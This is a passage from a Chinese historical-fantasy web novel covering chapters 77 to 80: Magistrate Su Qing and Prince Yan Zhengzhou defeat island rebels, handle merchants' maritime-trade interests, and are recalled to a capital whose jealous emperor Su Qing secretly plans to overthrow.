这岂不是可笑至极。 要说自己当官当不好,是全无经验。 但也比这两个毛孩子强啊。 苏大人还真是任人唯亲。 苏清看他一眼,又问道:“江南富商们的捐款在何处。” 既然要把作坊重建起来,肯定需要银子。 衙门账目不够,只能看看筹集的资金。 张知州虽不服云喜两人,却立刻答道:“在本地商会会长石家,还有扬州商会会长叶家手中。” 虽是同一本账目,但两家监管,就是怕这些钱用不到正地方。 也是他们经苏清提醒,发现张知州跟付将军的勾当。 所以苏清提起这事,本地石家石老爷当日便主动拜访求见。 让张知州无语的是。 当初他几次三番要账目要银子,石老爷各种推脱不给。 苏大人只不过提了一嘴,这人便屁颠屁颠跟上。 叶家的叶山鸣更是连夜赶来。 接下来的事,张知州就不能参与了,继续禁足,有需要才要找他。 苏清跟石老爷叶山鸣说明了武器作坊的事,并道:“蒸汽机必须要造。” 说到这,苏清又顿了下,微不可查地抬头,看了看海港方向:“现在不造,以后也是要造的。” 来都来了。 不造个蒸汽机留在海边,实在不合适。 她不让甄大人离开,也有这个原因。 见苏大人这样讲,石老爷叶山鸣两人虽不解其意,却还是答应了。 武器作坊后续所需银钱,云喜绿兰也会呈报上来,到时候一一拿钱。 石老爷听此,诧异道:“苏大人,我们之前不把银子给张知州有其原因,若是您接受,自然会把账目银子一并给您。” 苏清有些意外地看了看叶山鸣。 只听叶山鸣摆手:“跟我没关系,是大家信任你。” 普通百姓或许不明白苏清的本事。 但石老爷是知道的。 叶山鸣更不用讲。 江南这些富商,不怕当官的贪钱,只要能办事即可。 苏大人一来就接受本地衙门,还去了最重要的武器作坊。 这两处肉眼可见的好了起来。 铮王爷那边也很顺利。 他带兵经验丰富,手底下的人也颇有能力。 已经在练兵,在分出人手防御。 这种情况下,他们肯定会把钱交出去。 当地人只希望赶紧剿灭叛军,赶紧恢复正常生活。 说到这,苏清看了看他们两个:“是恢复正常生活,还是恢复海港通航?” 石老爷叶山鸣俱不说话。 过了会叶山鸣才道:“不愧是你。” 只是叛军作乱,江南一带的富商或许着急,却也不会这般心焦。 捐款也是飞速凑齐。 他们固然是为了家乡,但说不掺杂利益,苏清是不信的。 苏清好奇道:“你们跟海外的生意,到底做到什么地步了。” 两人还是不说。 苏清笑:“好吧,那我就去查查,到底哪家捐了银钱,哪家捐的最多。” “你们两家做的是丝绸瓷器买卖。” “其他各家也能查清楚。” 石老爷无奈看向叶山鸣。 虽然他已经提醒过了,但苏大人轻易拆穿,还是让他觉得诧异。 “丝绸瓷器肯定不愁卖的,其他各家也多少这种物件。”石老爷含糊道,“顺昌国内里生意不好做,只能往外看看了。” 顺昌国最近七八年,甚至十来年有多乱,大家心里都有数。 江南产的丝绸瓷器扇面等物虽然还不愁卖,但运往内地困难重重。 走陆路吧,很多地方的管道多年不修,很难行走。 走水路吧,很多码头也是不清淤的。 即使克服这些困难,还有可能遇到强盗土匪。 各地官员,乃至朝廷的态度更懒得说。 就在前年大前年时。 叶山鸣兜售苏清那些宝物,发现货物运到海外其他地方,既不愁销路,所得银钱也是以前十倍百倍。 把他们这边手工艺品运出去,再把顺昌国需要的香料黄金等物运回。 赚得多多了。 叶山鸣前年忙的,正是这件事。 而他年纪轻轻就能管着各地富商的捐款,也是借着出海的事树立威望。 问题在于。 他们终于找到了新销路。 却也被附近海岛上的叛军盯上了,硬是要过路费保护费。 索要不成,就追到岸上。 从此开始烧杀劫掠。 这才是完整的线索。 当然,这并不能埋怨出海的商户。 他们想办法赚钱并无过错。 错的是起贪念的岛上叛军。 还有本地官府不作为,也是个问题。 只是若本地官府作为了,必然要另一件事的:“既然海上贸易做的这样好,市舶司那边怎么没什么进项。” 苏清此话一出,石老爷他们更加尴尬。 这事颇有些无解。 因为本地官员不管事。 所以他们发现海上贸易是条暴富之路。 赚的钱极多。 但也因为不管事,叛军在附近徘徊,甚至烧杀劫掠。 若顺昌国内里太平安稳,既不会有叛军觊觎,更不会有这场战事。 但也不会有海上贸易这条发财之路。 即使知道了这条路,也会因为本地官员尽职尽责,让市舶司按照货物价格收税,那商户们的利润就会减少。 对想要出海的富商而言。 既想要平安,又想要利润。 但事实证明,这两者不可兼得。 苏清此刻提出这件事,就是告诉他们,以及江南捐款的富商。 为什么捐款,你们心里清楚。 为什么急着清扫叛军,你们心里也清楚。 这部分银子,只当补给市舶司税收。 再由市舶司分配给本地后勤,作为军饷物资之用。 费一番周章,说清楚银子名目。 也是告诉他们,把持银子,并非受你们恩惠。 而是光明正大用银钱治理地方。 若想靠着捐了银子,就摆布官员,让她跟军中听你们的话,那绝不可能。 石老爷跟叶山鸣出了府衙,长叹口气。 “不怪她能掌广乐府多年。” 来了海万州。 从当地官员到他们这些急着出海的富商,一人一通巴掌,谁都别想躲开。 如此条理清晰,思维敏捷,他们输的也不冤。 好在有人挨得巴掌,比他们更狠。 那就是聚在海上的叛军。 原本十二股叛军,两股早被晏铮州剿灭,其他四散而逃。 海万州附近叛军共计四股,原本只有一千多人。 这些年有纠结了来投靠的各路犯人。 或杀人,或越货,反正都是被官府通缉的人,又或者穷凶极恶之人。 里面不止顺昌国的逃犯,还有周边许多小国聚来百姓,甚至岛上的土著。 现在加起来,已经有四五千之多。 他们极为熟悉海上情况,驾驶小船如臂指挥,颇有些神出鬼没之感。 苏清不用管怎么打仗,只要把物资调配妥当即可。 别的不说,在江南采买物件,确实方便许多。 通过石老爷他们,价格相对低廉。 有苏清在,晏铮州只用练兵即可。 晏铮州还调上来几名熟悉海战的将士,并重用他们。 从永晟七年正月十六到海万州。 仅用一个月时间,本地治安明显有很大改善。 叛军本想趁其不备劫掠一番,也被早有准备的铮王爷打退。 这些叛军对晏铮州几乎恨之入骨。 当年在京城,就是跟他对垒,自己都跑到海岛上了,怎么还要跟他打。 晏铮州这人怎么阴魂不散的。 此地终于稳定下来。 等到时机成熟,就能清缴干净。 当然了,武器装备还是不足的。 这点就看此地武器作坊的了。 在张知州手里管不明白的武器作坊。 由云喜绿兰两个人打理,再押着甄大人好好做蒸汽机,在二月底已经见了雏形。 不出意外,三月中旬就能正式开工。 到时候,海万州也算天时地利人和。 再找个合适的机会,清缴海岛叛军不在话下。 苏大人跟铮王爷的效率,让本地百姓终于盼来了希望。 要说叛军的事,最无辜的还是普通百姓。 他们既没有享受出海得来的暴富,也没有因本地监管不利得到好处。 对于普通人而言,动乱百害而无一利。 现在苏清跟晏铮州做的,才是对他们好的。 消息传到京城。 官员百姓都对苏清晏铮州赞不绝口。 “这才去了多久,就把事情办妥了。” “本地官员,捐钱的富商,还有本地守备军,竟然全都服服帖帖的。” “是啊,难怪那里的百姓点名要他们俩,果然是好的。” “也是皇上圣明,这才是关键。” 即使有人找补了这一句,可大家还是小心翼翼看皇上脸色。 皇上登基到现在,已经七年时间。 朝中大臣揣摩圣意也不是一两日。 皇上喜安逸,不喜冲突,喜静不喜动。 喜甜言蜜语,却又面上大度。 其他事情还好。 但在铮王爷这里,尤其明显。 有人私下里说过。 皇上身体不算好,故而十分羡慕铮王爷高大的身材,还有健康的体魄。 除此之外,铮王爷战神名号,更是他的心病。 可在多数人看来,皇上实在杞人忧天。 无论从哪方面看,铮王爷完全没有谋反的心啊。 这件事让更多人在背后嘀咕皇上,是不是太小心眼了。 算了算了,还是等着铮王爷剿灭叛军,还海万州太平安稳的好。 只有皇上阴沉着脸,看着收集来的各方言论,整个人七窍生烟。 可真是自己好弟弟,好臣子。 就在此时,如同火上浇油一般。 海岛上的叛军忽然放出消息。 “他们当叛军,只因为皇上睚眦必报,没有帝王风范。” “倘若铮王爷做皇帝,他们立刻投降朝廷!” 第78章 “这是离间计。” 从京城到民间,到海万州。 但凡有点脑子的人,都知道叛军为什么要这样讲。 皇上越怕什么,他们越要这样讲。 海万州衙门。 苏清对手下道:“叛军们极怕铮王爷的,故而有此言论。” 说罢,点名几个人:“这么快传到京城,嘴倒是很利落。” 被点名的几人精神一震。 苏大人怎么知道的?! 其他人也看过去,如此离谱的传言,他们都要禀报给皇上?! 到底为什么啊。 再看这几人的身份年龄,无一例外,都是朝廷今年提拔上来的新人。 原来如此。 他们对皇上还真是忠心耿耿。 知不知道现在什么时候。 竟然连这种莫须有的消息也要传到京城?! 铮王爷压根不会搭理叛军,这是众所周知的。 如此无稽之谈,真的没必要讲给皇上听。 其中一人嘴硬道:“下官将所知之事禀告皇上,乃为臣子的本分,这有什么错。” “就是,反正皇上也不会信,苏大人何必如此。” 年轻臣子这么认为,但一些老臣,尤其是跟京城交往甚密的老臣,心里却道:“一群糊涂人,皇上本就对铮王爷十分忌惮,再有如此传言,岂不是更生疑虑。” 这简直是害了铮王爷。 铮王爷刚刚整顿了本地守备军,跟叛军有一战之力。 若在这个时候,被皇上怀疑,那他们海万州这场仗就难了。 苏清趁此机会,将这些人打压下去,不再让他们接触本地重要事务。 衙门众人自然不反对。 只是叛军等人,见此离间计有效,竟然频频放出话来。 “王爷,你辛辛苦苦打仗,上面还如此怀疑你,不如直接反了吧。” “就是以你的能力,天下间再无贼乱。” “我们立刻跟着你,比那小心眼的皇帝好多了。” 顺昌国的百姓臣子,还顾及皇上面子,不敢把话说的太明白。 可这些叛军,怎么可能顾及这些。 话有多难听就说多难听。 有人甚至道:“我们本也是顺昌国臣子,为何造反?还不是因为皇帝无道,一味自私享乐。” “这可不是我们的错!是皇上不公,天道不公!” 海万州百姓如何想,苏清不知道。 但她心里却是暗暗点头。 当然,面上还是要对这种言论进行驳斥。 什么王爷忠君爱国,从无乱心。 你们这些乱臣贼子休要胡说等等。 反正这些话说的极为敷衍,只是按照章程反驳几句而已。 晏铮州没说话,他身边手下马豪等人着急了:“苏大人是否不知道皇上的性子,这样驳斥没什么用的。” 连他们这些武将都看的出来。 苏大人怎么就不懂呢。 晏铮州顿了下:“她有她的道理。” “我们尽心打仗即可。” 尽心打仗即可?! 马豪等人更是诧异。 放在之前,王爷肯定会想办法打消皇上疑虑。 这次怎么了。 什么也不管了吗。 “王爷!” 晏铮州摇摇头:“继续练兵。” 众人面面相觑,难免连连叹气。 他们王爷为人还是太好了。 苏大人也把皇上想的太好了。 天知道皇上又要怎么想啊。 但不管苏大人还是王爷都让他们稍安勿躁,做好自己的事情即可。 至于京城那边的反应,其实不用多管。 铮王爷手下一干人等只好尽心练兵。 只有赶紧打了胜仗,才能洗脱王爷的名声。 但他们心里也暗暗想。 若王爷真的有反心,是不是也挺好的? 这个想法刚冒出来,马豪赶紧打自己的脑袋:“怎么可以这样想!” 他们王爷绝不会做这样的事。 这世上根本没有能劝动他的人! 与此同时,苏清的奏章也递上去。 一个是解释不实传言,二是表明铮王爷清者自清,并且相信皇上不会轻信谣言。 这让皇上脸上难看至极。 恨不得立刻让晏铮州回来。 可这样的命令,又像坐实了那些传言,实在不妥。 但这样轻飘飘放过,是不是太便宜他们。 晏铮州怎么回事,竟然也没有解释。 换做之前,早就上书陈情了。 朝中对此议论纷纷,可对铮王爷,还是极为信任。 这位要是想反,早就反了,何必等到现在。 人家也不恋权,兵权也是说交就交,这么多年大家都看在眼里的。 甚至那些海岛上的反贼,也是铮王爷当年赶过去的。 不是他收复京城,皇上说不定还在金陵呢。 所以这事吵来吵去,根本不会有什么结果。 此刻把晏铮州调回? 那更不可能。 眼看大战在即,临时调将领回来,那就太可笑了。 江南捐款的富商们也不会同意的。 家乡平安很重要,他们等着出海卖货也很重要。 多番吵闹下来。 皇上发现,他只能忍气吞声,装作不知道这些传言。 这对他来说,简直比吃了屎还难受。 最后还是太后出面。 太后道:“王爷怎么会有反心,不要多虑。” 京城吵吵嚷嚷。 影响不了海万州的部署。 海万州大小港口,都有驻军巡视。 若岸边有异动,第一时间就能发现。 军中征调大小船只三十多艘,对付几个小岛绰绰有余。 而本地士兵多善水战,又加紧训练两个多月,确实够用了。 与此同时,海万州的武器作坊终于有所产出。 要说跟广乐府的武器相比,产出速度差了些。 不过质量不相上下。 甄大人一边哭哭啼啼,一边被押着干活。 苏清肯定没给他升官,但保障了他妻儿妾室的安全。 经过这事,他倒是识趣。 虽然还想升官,但除了苏大人的命令,其他谁的话都不信。 随着武器一批批运出,海万州的战事越来越近。 本来就恐慌的反贼们,根本不知如何是好。 他们本就既怕晏铮州,当年在京城作战的时候,这位战神就把他们打的节节败退。 若不是当时晏铮州的后勤有问题,他们这些人早就被赶走了。 现在好了,本就厉害的战神,还有苏清那个女子做后勤。 人家就算拿着富商们的捐款,也不受商人的掣肘。 所有事情都极有章程,不急不缓。 不少人都意识到,他们这次彻底完蛋了。 眼看决战一步步逼近。 海万州这边突然放出消息:“若有人愿意招降,朝廷会网开一面。” 此言一出,本就惧怕的反贼众人,顿时有了矛盾。 要不要降? 还是假意投降,或者直接逃跑? 苏清给了三日时间。 三日过后,就另当别论了。 海万州本地百姓全都躲在家中,生怕被战火波及。 这三日里,还真有叛军来降,但更多还是负隅抵抗。 让叛军们更为恐慌的是。 这三日过后,守备军没有半点动静,根本不知道他们要做什么。 直到三月十六深夜。 本来在睡梦中的叛军被人拎起来。 附近六个小岛,四千多叛军全都被惊醒。 铮王爷率兵清缴叛军,已然摸清附近所有岛上的情况。 这一晚,海面上亮起火把,惨叫声不断。 两万守备军跟四千多叛军厮杀。 直到天光乍亮,海面才归于平静。 四千多叛军,其中半数直接死于海战,当场俘虏七百多人。 剩下的叛军直接或跳海或架小船逃跑。 盘踞在海万州附近小岛的叛军终于一扫而空。 晏铮州不愧有着战神的名号。 几个小首领被捉住后才知道。 不仅有投降的叛军通风报信,还有偷偷传递情况的同伙。 没办法,他们实在害怕。 铮王爷的名声听着就胆寒。 苏清那边的武器作坊,以及充足的后勤。 无论从哪看,他们好像都赢不了啊。 还不如早日投降的好。 海万州当地百姓欢呼雀跃,在码头上看着叛军贼人被抓,全都围着囚车庆祝。 对于这些贼人,也没什么好说的。 苏清下令,挑个吉日直接祭海。 告慰本地百姓亡灵。 “太好了!” “苏大人真的下了这样的命令?” “本以为她是女子,会更心软些。” “能当大官的,谁会心软。” “杀人偿命,这些叛军就该死!” 还有人在暗地里嘀咕:“要说叛军在此地,至少两三年了,明明能管的,朝廷之前为什么不管。” 一定等闹出事了,这才派兵吗。 本来以为朝廷没有能力管。 现在看来,还是有好将领,好官员的啊。 知情人看了看京城方向:“还不知道吗?皇帝忌惮铮王爷能力,生怕他得了军功,威胁他的地位。” 就因为这个,让一个良将卸下兵权? 就对地方上贼人不闻不问? 荒唐啊! “你们以为呢。” “铮王爷今年二十五,一直没有娶亲,你们知道原因吗?” 不知道啊。 “因为皇上今年三十五,却没有子嗣,所以嘴上说要给铮王爷赐婚,实际上压根不提,就是怕铮王爷先一步生下孩子。” 随着铮王爷苏大人合力剿灭叛军的好消息传遍江南。 对于皇上的猜测,顺理成章传到更多地方。 谁不喜欢听八卦啊,还是这种皇家八卦。 皇帝在江南一带的名声本就不好,如今更添笑料。 甚至有人道:“他要是真的生不出孩子,就让王爷生啊。” “那可是战神,他生出来的孩子总比病秧子的强吧。” 苏清看着收集来的讨论,默默把这些话压下去。 之前说什么让铮王爷登基,让铮王爷一起反了。 那种话其实还好。 让皇上听听,让他脱脱敏其实挺好的。 这种事关后代子嗣的传言,才是直戳皇帝肺管子。 为了晏铮州的小命,还是不让那边知道了。 “犒赏将士,诸位都辛苦了。”苏清开口道。 海万州上下无比狂欢。 这片海域终于清净了! 苏清带着物资犒赏将士时,在人群当中一眼看到晏铮州。 去年十二月出发,今年三月中旬打完仗。 他打仗的本事,完全不需要担心。 苏清的目光的被晏铮州看在眼里,难免多看一会。 苏清直接站在他身边,笑着道:“恭喜将军了。” 晏铮州嗯了声:“也恭喜苏大人。” 是的。 恭喜他们两个。 本就声名显赫的他们。 在江南一带愈发扬名。 之前所谓付将军张知州弄出来的烂摊子,搞的此地乌烟瘴气。 但他们两人出手,一切就不一样了。 顺昌国有他们,实在是幸事。 本地百姓无比开心,喜悦之情溢于言表。 看着面前狂欢的众人。 苏清道:“你原本可以做的更多。” 晏铮州没有再否认。 此次从京城出来,他心里已然有了决断。 或者说主动去找苏清,便是有了答案。 她能做的,远比自己能做的还要多。 自己应该成为垫脚石。 心甘情愿那种。 晏铮州微微点头,在她耳边说了些什么。 苏清笑:“回京时候,好戏就要上演了。” 回京? 马豪,云喜绿云,甚至全经武,只听到这句话。 铮王爷是要回京的。 苏大人也要去京城吗? 而且,会是什么好戏? 第79章 永晟七年,三月二十六。 皇上嘉奖圣旨由孙公公亲自送到海万州。 上到铮王爷苏知府。 下到一兵一卒,全都论功行赏。 不仅如此,对付将军张知州等人,押送回京,各有处罚。 并换了新知州过来接任。 圣旨下来,无论谁都要说一句皇上英明。 江南一带对皇上的诟病,竟然也少了些。 苏清都挑挑眉。 晏铮州则神色复杂。 不管怎么样,有赏有罚,足以安民心了。 孙公公对他们两人格外尊敬,客气道:“苏大人,铮王爷,你们一心为民,实在辛苦。” “皇上也多有挂念。” 说到这里。 云喜绿兰全经武都听出不对。 果然,对方下一句话便是:“京城也准备好庆功宴,只等二位班师回朝,皇上还有奖赏。” 三人脸色一变。 晏铮州身后的马豪也是一样。 怪不得苏大人他们说回京的事。 他们竟然早就猜到,皇上会立刻召他们回京。 铮王爷就罢了。 苏大人,也要去京城? 她可是广乐府知府,不回自己任地吗? 但皇上的理由又很充分。 回京开庆功宴,多好的事。 马豪对此甚至很熟悉。 之前就是这么催大人回京的。 不过这次面子功夫做的足,给足了两人体面。 这么多年了。 皇上终于有长进了。 这般大逆不道的想法,自然是苏清的。 苏清笑着道:“孙公公客气了,我等本就是奉皇命而来,职责所在罢了。” 晏铮州点点头,显然赞同苏清的意思。 孙公公大大松口气。 没想到他们十分给面子,也愿意回京。 可他们两人是愿意的。 海万州百姓有些傻眼。 这就要走吗? 两人到此地还不到三个月啊。 他们甚至没有好好感谢过铮王爷苏大人。 甚至因为付将军的前例,在两人进城的时候,都没有去迎接。 就算这样,他们还是带兵打仗,整治地方。 海万州不再受叛军侵扰,就连城内治安都变好了。 苏大人甚至惩治不少乡绅恶霸。 怎么会这样快啊。 百姓们心中,是纯粹的不舍得。 而海万州的石老爷,扬州的叶山鸣。 还有其他做海上贸易的富商们,则有另一个看法。 先不说沿海各港口,不知海万州一个地方有海盗作乱。 只清扫一个海万州,根本不够。 还有就是,苏大人跟朝中已经知道他们私自出海的事,必要建立市舶司的。 他们走了,这两件事谁来做? 总不会又换个捞财将军,又换个无能官员吧? 其他人跟苏清搭不上话,叶山鸣却是可以的。 不过他到海万州衙门时,总看到铮王爷伴在苏清身侧,让他心里五味杂陈。 苏清见叶山鸣有话要说,下意识看看晏铮州。 晏铮州脸黑了些,还是走出房门,开口道:“我让人收拾行装。” 过了好一会,叶山鸣那口气才提起来,开始说正事。 “除了海万州的贼人外,沿海七八个州府,都有贼人出没。只清一处肯定不够,苏大人您也知道的。”叶山鸣慢慢道,“不瞒大人您说,其实近海的海盗反而好些,无非要些货物。” “远一些的海盗是最难缠的。” 不仅要过路费,还要杀人越货。 他们虽然也改进了船只,还带了家丁拿了武器。 但总要沿途补给,这种时候最为危险。 说海上贸易的人,是提着头赚银子也不为过。 可顺昌国如今的情况,不提着头赚钱,日子都要过不下去。 其实这话是要同铮王爷讲的。 但那位的气势太过渗人,而且还是王爷之尊,不好直接讲,富商们想让他帮忙打仗。 苏清理解他们的意思,直接给出答案:“并非他不想清理干净,朝中不允。” 此刻说的朝中,叶山鸣也知道是谁。 “不能再争取争取吗。”叶山鸣又道,“如果成立了市舶司,必要收重税。” “前有海盗,后有重税,那我们这条海上贸易的路也会被封死。” 朝廷不设市舶司,也不海盗的时候。 那风险收益都是自己的,大家愿意一试,死了也是自己的问题。 如果设了市舶司,还是不管海盗。 岂不是两头空了。 顺昌国内的生意做不成,外面生意也做不成,难怪他们会心急。 苏清道:“皇上的想法,你们也能猜到一二的。” 叶山鸣沉默:“那江南一带市舶司官员,会派谁来?” 说到这,叶山鸣都有点绝望了,直接跟苏清吐槽:“再来个无能又贪财的,我们的日子还过不过了。” “对了,你也跟海万州的张知州打过交道吧?我们扬州如今的知州更是万事不知,气的人头脑发昏。” 苏清听着想笑,但又不好意思笑出来,她认真答道:“朝中所派官员,肯定是皇上任命,他最缺钱,派来的人也肯定会捞钱的。” 叶山鸣深深叹口气。 苏清说话还真不留情面,简直撕碎他最后一丝希望。 看到对方表情,苏清还是说了点漂亮话:“但万事都有转机。” “我既然知道你们的困境,自不会坐视不管。” 别人嘴里说出这话,叶山鸣多要再想想。 苏清来讲,还是不一样的。 苏清道:“保持耐心。” “一切都会好的。” 耐心? 叶山鸣表情疑惑,就见苏清身后的海岸图,上面圈圈点点,都是各地港口。 以及海洋之外,虚虚地画了几条线。 看到叶山鸣的目光,苏清道:“你上次出海一年多,去了多少地方?” 叶山鸣苦笑:“没走多远。” 如今的船只并没有远航的能力。 他们为了卖货,就是硬往那边走而已。 走到哪算哪。 苏清看了看,基本上顺着海岸线往西走。 顺昌国沿海一路港口,叶家是熟悉的,当初还顺着这条路去了海南一带,她三叔就扔到那附近。 之后应该又往西行,去了南印度等地。 再远的地方,船不够大,速度也很慢。 苏清认真道:“你说的两件事都会解决的。” “在这期间,不如先把船造起来。” 苏清还指了指武器作坊:“我留甄大人在这,还有云喜跟绿兰,依旧留在这。那边造的钢铁更为坚韧,适合做大船。” “广乐府那边也有会造大船的匠人,我也会派过来。” “在这期间,可以先不出海,把船造好。” 既然要海上贸易,就要更大更结实的船。 叶山鸣看着她,发现苏清对出海明显十分兴奋。 为什么? 苏清笑:“海那边的世界更宽广。” 其他的暂时不说了。 而叶山鸣则点头道:“我相信你。” 虽不知原因。 但他会听苏清的,先造船,耐心等待时机。 只是,那会是什么时机? “你们回京之后,说服皇上派兵?还是安排合适的人手来管市舶司?” 苏清又笑,这哪能说啊。 见她不愿意讲,叶山鸣就知道问不出的。 临走之前,叶山鸣又回头道:“我知道这不该问。” “但你跟铮王爷?” 苏清挑眉:“先保密。” 叶山鸣得到这个答案,眼神微暗,他拱手道:“此次回京,必然会被刁难。” “江南商会,海万州扬州两地同乡会,皆听候差遣。” 既然知道苏清回京,会帮他们这两个大忙。 那他们这些富商们,必然全力助她。 苏清点头:“需要帮忙的时候,我不会客气的。” 四月初一,海万州天气正好。 在孙公公催促下,苏清晏铮州等人班师回京。 海万州百姓乃至扬州百姓一路相送。 云喜绿兰甄大人泪眼婆娑。 尤其是前两人,他们真的想跟苏姐姐去京城。 苏清却道:“我答应过你们干爹,还答应过朱娘子,答应过齐叔,要好好照顾你们。” “再说,此处武器作坊,必要有人看着。” 苏清还让叶山鸣多加照看,心里也放心些。 至于京城,上次不会带他们过去,这次更不会了。 他们来的匆匆,去也匆匆。 本地治安民生却有极大改善。 虽不知这些能持续多久,但能过一日好日子,那就是好日子。 如果天下间的官员将军,都像苏大人跟铮王爷就好了。 或者他们辛苦辛苦,多跑几个地方? “算了,皇上怎会允许功高盖主。” 他们二人出尽风头。 皇上那么小心眼的人,大概率会暗戳戳记一笔。 不过看这次的封赏如此丰厚,或许改了性子不成? 所有人都希望他们两个好好的。 顺昌国乱了这么久,真的经不起太大的折腾了。 苏清等人去京城的路上,收到广乐府通民府山阳府以及皋青州的信件。 大家都表示担忧,还以为苏大人可以直接回广乐府。 苏清让他们都放心,不会有什么事的。 当然了,大家也详细说各地情况。 现在已经四月,各地先童试,然后春耕,一切都井井有条。 其中童试,广乐府几个上县都允许女子参加县试,今年考出来的女学生显然更多。 不过最终的府试结果还未出来,要等四月中旬再寄信过来。 想来效果还不错的。 看着新学政的信件,苏清一拍脑袋。 完了,事情太多,她把正事忘了。 苏清认认真真给新学政回了信件,还给梅娘写信,提了一嘴新学政。 哎,等她忙完手头的事再说吧。 山阳府也开了女子童试,同样只有几个上县开设。 听沈知府的意思,情况还算不错。 他女儿自不必说,成绩极好的。 这可没有作弊,沈小姐的天赋水平都极高,大家有目共睹。 像通民府跟皋青州,还是着重发展农业。 以前匪盗横行,土豪乡绅极多。 现在百姓终于可以好好种地了。 通民府王知府,几乎事无巨细,把苏清老家所有情况一一说明。 有大小事情,也会详细禀告。 不管他知不知道“大泽军”的事,反正对苏清毕恭毕敬。 在他看来,自己这位置,就是苏清一手促成。 苏清在路上也十分忙碌,被孙公公看在眼里。 孙公公还想到云喜跟绿兰,叹口气道:“他们干爹是最好脾气的人。” 这说的就是余内官了。 大家虽然不是同一阵营,但也算自小一起长大,难免唏嘘。 在海万州的时候,见这俩孩子生的好,也被苏大人带的落落大方,难免感慨。 两人一个十八,一个十六,就能管着偌大的作坊。 这般能力,老余泉下有知,肯定欣慰 不过孙公公还是不理解,为什么不带着他们俩人。 难道,苏大人觉得此次进京会有危险? 孙公公顿了下,神色紧张起来。 苏清跟晏铮州只当没看到,继续前行。 四月十九,终于到了京城。 苏清都想抱怨了。 这破路能不能修一修。 官道都这么破的吗? 更让人揪心的,还是沿途百姓。 顺昌国这几年的先打仗后有流寇,土地兼并,税收沉重。 早就在百姓身上体现。 去年冬天赶路时,路上田间本就空旷。 现在三四月份,田间地头应是农忙之时,可很多田地之间,站着的皆是衣不蔽体的佃户。 尤其是徽州豫州一带。 看的人心里发沉。 进了京城,又是别一番景象。 只见万物欢欣,彩旗招展。 不问就罢了,问了原因:“二位班师回朝,这是为你们庆功的啊!” “以及,皇上千秋。” 苏清看向晏铮州,他微微点头:“四月二十三。” 也就是还有四天时间。 好好好。 她要看看,皇上要怎么过这个千秋。 苏清又看向对方,晏铮州再次点头。 他听苏清的,一切都听。 那就好。 这次计划九死一生。 不达目的,她誓不罢休。 她苏清这次进京。 要的,是这里的皇位。 第80章 永晟七年,四月十九。 晏铮州回到王爷府,闭门谢客。 苏清被广乐府通民府同乡会接走。 依旧住在上次的宅子里。 这里被打理的干净整洁,一应事情全然不用担心。 时隔一年时间,再次回到京城。 倒是没有太大变化。 “大人在海万州的能力,众所周知。若不是您,那海万州不会那么快恢复太平的。”方大人笑着道,“京城百姓都对您大加赞赏呢。” 方大人他们夸个不停。 苏清,全经武,武捕头全都有些诧异。 “铮王爷呢?没夸铮王爷?”苏清直接问道。 方大人顿了下,低声道:“谁敢夸。” 人人都知道皇帝的忌讳。 故而不敢夸晏铮州,把海万州的功绩全都算到她头上。 苏清有点想笑。 对皇上来说,全都算到她头上,估计也挺难受的。 但两害选其轻,还是选择碰她。 方大人见苏知府笑,又低声道:“只怕会让铮王爷不高兴。” 以后再有战事,说不定两人还要合作。 到时候双方不和,岂不是不好做事。 苏清想想晏铮州的性格,直接道:“放心,他不计较这些。” 方大人有些傻眼。 为什么这般笃定啊。 苏清自然不会解释,她只问了京城现在的情况。 “现在京城最大的一件事,就是皇上千秋。” “您平定海万州回京,正好赶上千秋宴,实在是双喜临门。” 就是苏清跟晏铮州他们的庆功宴,也算在皇上生辰的政绩之一。 故而今年宴会办得格外大。 方大人还接了句:“估计宴会结束,您就可以回任地了。” 作为广乐府籍贯人士,方大人他们最希望苏知府赶紧回去。 这样苏知府安全,广乐府也有人管。 换了其他人做广乐府知府,大家日子都不好过。 去年那些新科进士已经去各地当差了。 当的如何,大家心里都有数。 偏偏皇上极为信任他们,事情做的好与坏并不重要。 重要的是,他们都对皇上无比忠心。 新科进士们琢磨出味,行事愈发肆无忌惮,并且对皇上表示绝对忠诚。 不管他们是否能办实事,或者皇帝也不在乎他们有没有能力办差。 只要足够忠诚,足够拥护皇上就够了。 今年的千秋宴,甚至都是他们撺掇办的。 如果广乐府换了这样的官员当长官,岂不是要把家底搬空,以求皇上欢心? 想到这,方大人为自己老家胆战心惊。 老家刚过几年好日子,千万不能回到过去啊。 说到底,世上还是缺苏大人跟铮王爷这样的文臣武将。 若他们这种人多一些。 就不用他们在顺昌国来回跑。 也不会有那么多地方乞求,想请两人去剿匪整治地方。 苏清心道,她之情还戏称晏铮州是救火队员。 没想到她也是其中一员了。 正跟方大人说着话。 顾从斯匆匆过来。 作为新科状元,他并未被任派到地方,而是一直在翰林院以及礼部任职。 这都是极清流的地方,人人都夸顾从斯前途广大。 他跟去年会试主考官陶阁老兼礼部尚书关系匪浅,已然是陶阁老正儿八经的徒弟了。 没能亲自去接苏清,也是被礼部的事绊住脚。 千秋宴正是礼部来办。 大家也都理解。 顾从斯表情愈发冰冷,不少人看到他都躲着走。 到了苏清这里,神情明显温和许多。 顾从斯的想法也差不多:“等千秋宴结束,就赶紧辞行回广乐府。” 顾从斯跟皇上接触密切,对苏清留在京城,又多了几分忧虑。 所以不管从哪方面看。 四月二十三千秋宴过后,苏清都要离开。 看着大家焦急的目光,苏清微微点头:“我是想离开的。” 她是想。 但大概率不能。 等方大人离开。 顾从斯明显还有话要说,可他根本说不出口。 他担心,皇上对苏清还有想法。 这甚至不算他一个人这样认为。 所以远离京城,是最好的选择。 但顾从斯同样迷茫。 天下生杀大权都在皇上手中。 他想要的,真可以阻止吗。 如果可以选择。 他也想离开京城。 就在南江县当一个教书匠即可。 但他心底的不甘,让他暂时无法离开。 苏清看着他,主动问道:“你在京城可还好?” 以前的苏清是不问的。 但眼前的顾从斯明显不对劲。 武捕头全经武他们默默离开,给两人留出谈话空间。 他们都发现了顾翰林的不对劲。 顾从斯抬起头,声音冰冷:“不大好。” 这冷冰冰的声音,自然不是冲着苏清。 而是对朝廷的绝望。 顾从斯道:“新科进士们的能力,想必你也听说了。” “但皇上很满意。” 苏清岂能不知,更明白这两句逻辑不通的话是什么意思。 能力不佳。 但满意他们的忠诚。 而这些新科进士们,就是知道自己能力不行,为了保住位置,会更加忠诚。 可笑的是,皇上要的,就是这样的效果。 他对忠臣能臣,比如晏铮州苏清。 是忌惮打压。 他对庸臣蠢臣,比如新科进士。 是满意提拔。 但凡意识到这一点的有志之士。 焉能不绝望。 所以他希望苏清远离京城。 有朝一日,他也会远离。 当然了,现在还要尽一份力。 如果他们这种人再走了,京城真的要成为庸臣的天下了。 